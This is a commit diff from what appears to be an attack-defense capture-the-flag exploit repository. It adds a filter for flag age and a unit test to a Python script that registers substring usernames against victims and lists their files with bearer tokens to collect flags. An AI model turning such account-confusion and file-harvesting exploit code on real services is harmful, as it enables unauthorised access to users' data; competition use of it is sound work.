fix(exploits): submit only current flags
- Filter Pamsave files by the active flag lifetime window. - Use Braindance attack-data record IDs instead of scanning history.
This commit is contained in:
1 parent
0b98b70bf9
commit
8f58bbef82
4 files changed
+82
-23
No files matched your search
@@ -5,12 +5,14 @@ import secrets
|
||||
import string
|
||||
import sys
|
||||
from collections.abc import Iterable
|
||||
from datetime import datetime, timedelta, timezone
|
||||
|
||||
import requests
|
||||
|
||||
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
||||
PORT = 8282
|
||||
TIMEOUT = 4
|
||||
MAX_FLAG_AGE = timedelta(seconds=240)
|
||||
|
||||
|
||||
def log(message: str) -> None:
|
||||
@@ -43,9 +45,25 @@ def register_substring(session: requests.Session, base: str, victim: str, passwo
|
||||
raise RuntimeError("no available victim substring username")
|
||||
|
||||
|
||||
def fresh_file_ids(rows: list[dict], now: datetime) -> list[str]:
|
||||
cutoff = now - MAX_FLAG_AGE
|
||||
result: list[str] = []
|
||||
for row in rows:
|
||||
try:
|
||||
created_at = datetime.fromisoformat(str(row["created_at"]).replace("Z", "+00:00"))
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
if created_at.tzinfo is None:
|
||||
created_at = created_at.replace(tzinfo=timezone.utc)
|
||||
if created_at.astimezone(timezone.utc) >= cutoff:
|
||||
result.append(str(row["id"]))
|
||||
return result
|
||||
|
||||
|
||||
def list_files(session: requests.Session, base: str, token: str, workspace_id: str | None) -> list[str]:
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
file_ids: set[str] = set()
|
||||
now = datetime.now(timezone.utc)
|
||||
endpoints = ["/my-files"]
|
||||
if workspace_id:
|
||||
endpoints.append(f"/workspace/{workspace_id}/files")
|
||||
@@ -63,7 +81,10 @@ def list_files(session: requests.Session, base: str, token: str, workspace_id: s
|
||||
rows = response.json()
|
||||
if not rows:
|
||||
break
|
||||
file_ids.update(str(row["id"]) for row in rows)
|
||||
current_ids = fresh_file_ids(rows, now)
|
||||
file_ids.update(current_ids)
|
||||
if not current_ids:
|
||||
break
|
||||
return sorted(file_ids)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
import unittest
|
||||
from datetime import datetime, timezone
|
||||
|
||||
import password_substring
|
||||
|
||||
|
||||
class FreshFileTests(unittest.TestCase):
|
||||
def test_keeps_only_files_younger_than_flag_window(self) -> None:
|
||||
now = datetime(2026, 11, 29, 12, 0, tzinfo=timezone.utc)
|
||||
rows = [
|
||||
{"id": "fresh", "created_at": "2026-11-29T11:58:30"},
|
||||
{"id": "expired", "created_at": "2026-11-29T11:54:00"},
|
||||
]
|
||||
self.assertEqual(password_substring.fresh_file_ids(rows, now), ["fresh"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in new issue
Block a user